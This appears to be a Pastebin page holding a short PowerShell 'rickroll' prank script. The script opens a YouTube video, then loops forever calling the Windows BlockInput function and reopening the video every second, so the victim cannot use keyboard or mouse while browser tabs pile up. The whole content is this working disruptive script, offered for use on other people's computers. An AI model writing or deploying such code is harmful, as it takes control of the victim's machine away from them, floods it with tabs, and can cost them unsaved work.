Advertisement
PiggyGaming2020

powershell rickroll script (blocks user input + spams tabs)

Mar 2nd, 2023 (edited)
1,329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Start-Process "https://youtu.be/C-YKvC2r-Xk"
  2. Start-Sleep -Seconds 4
  3. $wshell = New-Object -ComObject wscript.shell;
  4. Start-Sleep -Seconds 1
  5. $wshell.SendKeys('F')
  6.  
  7. $code = @"
  8.    [DllImport("user32.dll")]
  9.    public static extern bool BlockInput(bool fBlockIt);
  10. "@
  11.  
  12. $userInput = Add-Type -MemberDefinition $code -Name UserInput -Namespace UserInput -PassThru
  13.  
  14. while($true) {
  15.     $userInput::BlockInput($true)
  16.     Start-Sleep -Seconds 1
  17.     Start-Process "https://youtu.be/C-YKvC2r-Xk"
  18. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement